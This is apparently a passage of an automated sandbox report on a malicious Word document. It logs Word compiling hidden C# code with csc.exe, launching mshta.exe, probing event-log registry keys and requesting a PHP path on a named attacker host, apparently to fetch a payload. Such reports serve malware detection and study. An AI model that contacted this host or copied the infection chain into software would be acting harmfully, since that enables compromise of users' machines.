Get Info	C:\Program Files\Microsoft Office\root\Office16\WINWORD.config	type = file_attributes	2	Fn
Get Info	C:\Users\aETAdzjz\Desktop\Logo.cs	type = file_type	4	Fn
Get Info	C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.tmp	type = file_type	2	Fn
Get Info	C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.0.cs	type = file_type	2	Fn
Get Info	C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.cmdline	type = file_type	2	Fn
Get Info	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe	type = file_attributes	1	Fn
Get Info	C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.out	type = file_type	2	Fn
Get Info	C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.err	type = file_type	2	Fn
Get Info	C:\Users\aETAdzjz\Desktop\http100www4samyrai777m4p-host4in0t0tp4php2thread90.dll	type = file_attributes	2	Fn
Open	STD_INPUT_HANDLE	-	1	Fn
Read	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\machine.config	size = 4096, size_out = 4096	6	Fn Data
Read	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\machine.config	size = 4096, size_out = 1459	1	Fn Data
Read	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\machine.config	size = 4096, size_out = 0	1	Fn
Read	C:\Users\aETAdzjz\Desktop\Logo.cs	size = 4096, size_out = 1098	1	Fn Data
Read	C:\Users\aETAdzjz\Desktop\Logo.cs	size = 950, size_out = 0	1	Fn
Read	C:\Users\aETAdzjz\Desktop\Logo.cs	size = 4096, size_out = 0	1	Fn
Write	C:\Users\aETAdzjz\Desktop\Logo.cs	size = 1098	1	Fn Data
Write	C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.0.cs	size = 1101	1	Fn Data
Write	C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.cmdline	size = 288	1	Fn Data
Write	C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.out	size = 379	1	Fn Data
Delete	C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.pdb	-	1	Fn
Delete	C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.out	-	1	Fn
Delete	C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.tmp	-	1	Fn
Delete	C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.0.cs	-	1	Fn
Delete	C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.cmdline	-	1	Fn
Delete	C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.err	-	1	Fn
Delete	C:\Users\aETAdzjz\Desktop\__Sn.cs	-	1	Fn

Registry (105)

Operation	Key	Additional Information	Count	Logfile
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\COM+ SOAP Services	-	3	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\COM+ SOAP Services	-	3	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\COM+ SOAP Services	-	3	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\COM+ SOAP Services	-	3	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\COM+ SOAP Services	-	3	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\COM+ SOAP Services	-	3	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security	-	3	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\COM+ SOAP Services	-	3	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\COM+ SOAP Services	-	3	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance	-	1	Fn
Open Key	HKEY_CURRENT_USER	-	1	Fn
Open Key	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell	-	1	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion	value_name = InstallationType, data = 0, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion	value_name = InstallationType, data = Client, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance	value_name = Library, data = 0, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance	value_name = Library, data = netfxperf.dll, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance	value_name = IsMultiInstance, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Read Value	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance	value_name = IsMultiInstance, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Read Value	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance	value_name = First Counter, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Read Value	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance	value_name = First Counter, data = 4986, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Read Value	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance	value_name = CategoryOptions, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Read Value	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance	value_name = CategoryOptions, data = 3, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Read Value	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance	value_name = FileMappingSize, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Read Value	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance	value_name = FileMappingSize, data = 131072, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Read Value	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance	value_name = Counter Names, type = REG_BINARY	2	Fn Data
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Get Key Info	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Get Key Info	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Get Key Info	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn

Process (4)

Operation	Process	Additional Information	Success	Count	Logfile
Create	"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.cmdline"	os_pid = 0xba0, startup_flags = STARTF_USESHOWWINDOW, STARTF_USESTDHANDLES, show_window = SW_HIDE		1	Fn
Create	C:\Windows\System32\mshta.exe	show_window = SW_SHOWNORMAL		3	Fn

Module (4)

Operation	Module	Additional Information	Count	Logfile
Get Filename	-	process_name = c:\program files\microsoft office\root\office16\winword.exe, file_name_orig = C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE, size = 260	2	Fn
Create Mapping	-	filename = System Paging File, protection = PAGE_READWRITE, maximum_size = 131072	1	Fn
Map	-	process_name = c:\program files\microsoft office\root\office16\winword.exe, desired_access = FILE_MAP_WRITE	1	Fn

System (11)

Operation	Additional Information	Count	Logfile
Get Computer Name	result_out = YKYD69Q	1	Fn
Get Info	type = System Directory, result_out = C:\Windows\system32	3	Fn
Get Info	type = Operating System	7	Fn

Mutex (23)

Operation	Additional Information	Count	Logfile
Create	mutex_name = Global\.net clr networking	10	Fn
Create	mutex_name = Global\.net clr networking	1	Fn
Open	mutex_name = Global\.net clr networking, desired_access = MUTEX_MODIFY_STATE, SYNCHRONIZE	1	Fn
Release	mutex_name = Global\.net clr networking	1	Fn
Release	mutex_name = Global\.net clr networking	10	Fn

Network Behavior

DNS (1)

Operation	Additional Information	Success	Count	Logfile
Resolve Name	host = www.samyrai777m.p-host.in, address_out = 185.211.244.133		1	Fn

TCP Sessions (1)

Information	Value
Total Data Sent	0.09 KB (92 bytes)
Total Data Received	1.21 KB (1240 bytes)
Contacted Host Count	1
Contacted Hosts	185.211.244.133:80

TCP Session #1

Information	Value
Handle	0xb94
Address Family	AF_INET
Type	SOCK_STREAM
Protocol	IPPROTO_TCP
Remote Address	185.211.244.133
Remote Port	80
Local Address	0.0.0.0
Local Port	1984
Data Sent	0.09 KB (92 bytes)
Data Received	1.21 KB (1240 bytes)

Operations

Operation	Additional Information	Count	Logfile
Create	protocol = IPPROTO_TCP, address_family = AF_INET, type = SOCK_STREAM	1	Fn
Connect	remote_address = 185.211.244.133, remote_port = 80	1	Fn
Send	flags = NO_FLAG_SET, size = 92, size_out = 92	1	Fn Data
Receive	flags = NO_FLAG_SET, size = 4096, size_out = 1240	1	Fn Data

HTTP Sessions (1)

Information	Value
Total Data Sent	0.09 KB (92 bytes)
Total Data Received	1.21 KB (1240 bytes)
Contacted Host Count	1
Contacted Hosts	www.samyrai777m.p-host.in

HTTP Session #1

Information	Value
Server Name	www.samyrai777m.p-host.in
Server Port	80
Data Sent	0.09 KB (92 bytes)
Data Received	1.21 KB (1240 bytes)

Operations

Operation	Additional Information	Count	Logfile
Open Session	access_type = WINHTTP_ACCESS_TYPE_NO_PROXY, proxy_name = WINHTTP_NO_PROXY_NAME, proxy_bypass = WINHTTP_NO_PROXY_BYPASS	1	Fn
Open Connection	protocol = http, server_name = www.samyrai777m.p-host.in, server_port = 80	1	Fn
Open HTTP Request	http_verb = GET, http_version = HTTP/1.1, target_resource = /t/tp.php?thread=0	1	Fn
Send HTTP Request	headers = host: www.samyrai777m.p-host.in, connection: Keep-Alive, url = www.samyrai777m.p-host.in/t/tp.php?thread=0	1	Fn Data
Read Response	size = 4096, size_out = 1240	1	Fn Data

Process #2: csc.exe

(Host: 2, Network: 0)

Information	Value
ID	#2
File Name	c:\windows\microsoft.net\framework64\v2.0.50727\csc.exe
Command Line	"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.cmdline"
Initial Working Directory	C:\Users\aETAdzjz\Desktop\
Monitor	Start Time: 00:01:00, Reason: Child Process
Unmonitor	End Time: 00:02:36, Reason: Terminated by Timeout
Monitor Duration	00:01:36

OS Process Information

Information	Value
PID	0xba0
Parent PID	0x9b0 (c:\program files\microsoft office\root\office16\winword.exe)
Is Created or Modified Executable
Integrity Level	Medium
Username	YKYD69Q\aETAdzjz
Groups	YKYD69Q\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) BUILTIN\Administrators (USE_FOR_DENY_ONLY) BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\Logon Session 00000000:00010989 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID) LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x BA4 0x 0

Region

Name	Start VA	End VA	Type	Permissions	Actions
private_0x0000000000010000	0x00010000	0x0002ffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000000010000	0x00010000	0x0001ffff	Pagefile Backed Memory	Readable, Writable	Region Actions
pagefile_0x0000000000020000	0x00020000	0x0002ffff	Pagefile Backed Memory	Readable, Writable	Region Actions
private_0x0000000000030000	0x00030000	0x0012ffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000000130000	0x00130000	0x00133fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000140000	0x00140000	0x00140fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000000150000	0x00150000	0x00151fff	Private Memory	Readable, Writable	Region Actions Download Dump
locale.nls	0x00160000	0x001c6fff	Memory Mapped File	Readable	Region Actions
pagefile_0x00000000001d0000	0x001d0000	0x001d0fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x00000000001e0000	0x001e0000	0x001e0fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x00000000001f0000	0x001f0000	0x001f0fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000000200000	0x00200000	0x00200fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000000210000	0x00210000	0x00210fff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000000220000	0x00220000	0x00220fff	Pagefile Backed Memory	Readable, Writable	Region Actions
pagefile_0x0000000000230000	0x00230000	0x00236fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000240000	0x00240000	0x00241fff	Pagefile Backed Memory	Readable, Writable	Region Actions
pagefile_0x0000000000250000	0x00250000	0x00250fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000000260000	0x00260000	0x0035ffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000000360000	0x00360000	0x00360fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000370000	0x00370000	0x00370fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000000380000	0x00380000	0x0038ffff	Private Memory	Readable, Writable	Region Actions Download Dump
cscompui.dll	0x00390000	0x003b2fff	Memory Mapped File	Readable	Region Actions
pagefile_0x00000000003c0000	0x003c0000	0x003c0fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x00000000003d0000	0x003d0000	0x003d0fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x00000000003e0000	0x003e0000	0x003e0fff	Pagefile Backed Memory	Readable	Region Actions
csc.exe	0x00400000	0x00418fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
private_0x0000000000420000	0x00420000	0x00420fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000000430000	0x00430000	0x0052ffff	Private Memory	Readable, Writable	Region Actions Download Dump
system.runtime.remoting.dll	0x00530000	0x00579fff	Memory Mapped File	Readable	Region Actions
private_0x00000000005e0000	0x005e0000	0x005effff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x00000000005f0000	0x005f0000	0x00777fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000780000	0x00780000	0x00900fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000910000	0x00910000	0x01d0ffff	Pagefile Backed Memory	Readable	Region Actions
sortdefault.nls	0x01d10000	0x01fdefff	Memory Mapped File	Readable	Region Actions
pagefile_0x0000000001fe0000	0x01fe0000	0x023d2fff	Pagefile Backed Memory	Readable	Region Actions
private_0x00000000023e0000	0x023e0000	0x024dffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000025a0000	0x025a0000	0x025affff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000025b0000	0x025b0000	0x026affff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002700000	0x02700000	0x0277ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000027a0000	0x027a0000	0x0281ffff	Private Memory	Readable, Writable, Executable	Region Actions Download Dump
private_0x0000000002860000	0x02860000	0x028dffff	Private Memory	Readable, Writable, Executable	Region Actions Download Dump
private_0x0000000002980000	0x02980000	0x029fffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002a00000	0x02a00000	0x02dfffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002e00000	0x02e00000	0x02efffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002f10000	0x02f10000	0x02f8ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002f90000	0x02f90000	0x0318ffff	Private Memory	-	Region Actions Download Dump
system.dll	0x03190000	0x0349afff	Memory Mapped File	Readable	Region Actions
system.data.dll	0x034a0000	0x03793fff	Memory Mapped File	Readable	Region Actions
system.xml.dll	0x037a0000	0x03993fff	Memory Mapped File	Readable	Region Actions
system.web.services.dll	0x039a0000	0x03a6cfff	Memory Mapped File	Readable	Region Actions
mscorlib.dll	0x03a70000	0x03ecafff	Memory Mapped File	Readable	Region Actions
private_0x0000000003ed0000	0x03ed0000	0x03fcffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000000006fff0000	0x6fff0000	0x6fffffff	Private Memory	Readable, Writable, Executable	Region Actions Download Dump
msvcr80.dll	0x75360000	0x75428fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
user32.dll	0x775e0000	0x776d9fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
kernel32.dll	0x776e0000	0x777fefff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ntdll.dll	0x77800000	0x779a8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
psapi.dll	0x779d0000	0x779d6fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
private_0x000000007efe0000	0x7efe0000	0x7ffdffff	Private Memory	Readable	Region Actions
pagefile_0x000000007efe0000	0x7efe0000	0x7f0dffff	Pagefile Backed Memory	Readable	Region Actions
private_0x000000007f0e0000	0x7f0e0000	0x7ffdffff	Private Memory	Readable	Region Actions
private_0x000000007ffe0000	0x7ffe0000	0x7ffeffff	Private Memory	Readable	Region Actions Download Dump
diasymreader.dll	0x516f00000	0x516fc5fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
cscomp.dll	0x538000000	0x5381e8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
alink.dll	0x59c800000	0x59c822fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mscorwks.dll	0x7fee38d0000	0x7fee426cfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mscoreei.dll	0x7fef13f0000	0x7fef1488fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mscoree.dll	0x7fef1910000	0x7fef197efff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mscorpe.dll	0x7fef1af0000	0x7fef1b1bfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
c2r64.dll	0x7fef5860000	0x7fef5988fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
appvisvstream64.dll	0x7fef5990000	0x7fef5a09fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
appvisvsubsystems64.dll	0x7fef5a10000	0x7fef5c45fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
api-ms-win-core-synch-l1-2-0.dll	0x7fef8f20000	0x7fef8f22fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
version.dll	0x7fefc910000	0x7fefc91bfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
userenv.dll	0x7fefcaf0000	0x7fefcb0dfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rsaenh.dll	0x7fefcd40000	0x7fefcd86fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
cryptsp.dll	0x7fefd040000	0x7fefd056fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
cryptbase.dll	0x7fefd640000	0x7fefd64efff	Memory Mapped File	Readable, Writable, Executable	Region Actions
profapi.dll	0x7fefd750000	0x7fefd75efff	Memory Mapped File	Readable, Writable, Executable	Region Actions
private_0x000007fefd9c0000	0x7fefd9c0000	0x7fefd9cffff	Private Memory	Readable, Writable, Executable	Region Actions Download Dump
kernelbase.dll	0x7fefd9d0000	0x7fefda3afff	Memory Mapped File	Readable, Writable, Executable	Region Actions
imm32.dll	0x7fefdb40000	0x7fefdb6dfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msvcrt.dll	0x7fefdd50000	0x7fefddeefff	Memory Mapped File	Readable, Writable, Executable	Region Actions
oleaut32.dll	0x7fefde70000	0x7fefdf46fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
lpk.dll	0x7fefdf50000	0x7fefdf5dfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ole32.dll	0x7fefe1c0000	0x7fefe3c2fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
clbcatq.dll	0x7fefe550000	0x7fefe5e8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rpcrt4.dll	0x7fefe640000	0x7fefe76cfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
shlwapi.dll	0x7fefe770000	0x7fefe7e0fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
shell32.dll	0x7fefe850000	0x7feff5d7fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msctf.dll	0x7feff710000	0x7feff818fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
sechost.dll	0x7feff8c0000	0x7feff8defff	Memory Mapped File	Readable, Writable, Executable	Region Actions
advapi32.dll	0x7feff8e0000	0x7feff9bafff	Memory Mapped File	Readable, Writable, Executable	Region Actions
gdi32.dll	0x7feff9d0000	0x7feffa36fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
usp10.dll	0x7feffa40000	0x7feffb08fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
apisetschema.dll	0x7feffb20000	0x7feffb20fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
pagefile_0x000007fffffb0000	0x7fffffb0000	0x7fffffd2fff	Pagefile Backed Memory	Readable	Region Actions
private_0x000007fffffd6000	0x7fffffd6000	0x7fffffd6fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffde000	0x7fffffde000	0x7fffffdffff	Private Memory	Readable, Writable	Region Actions Download Dump

Host Behavior

COM (2)

Operation	Class	Interface	Additional Information	Success	Count	Logfile
Create	E5CB7A31-7512-11D2-89CE-0080C792E5D8	31BCFCE2-DAFB-11D2-9F81-00C04F79A0A3	cls_context = CLSCTX_INPROC_SERVER, CLSCTX_LOCAL_SERVER, CLSCTX_REMOTE_SERVER		1	Fn
Create	B81FF171-20F3-11D2-8DCC-00A0C9B00525	B81FF171-20F3-11D2-8DCC-00A0C9B00521	cls_context = CLSCTX_INPROC_SERVER, CLSCTX_LOCAL_SERVER, CLSCTX_REMOTE_SERVER		1	Fn

Process #3: cvtres.exe'

Information	Value
ID	#3
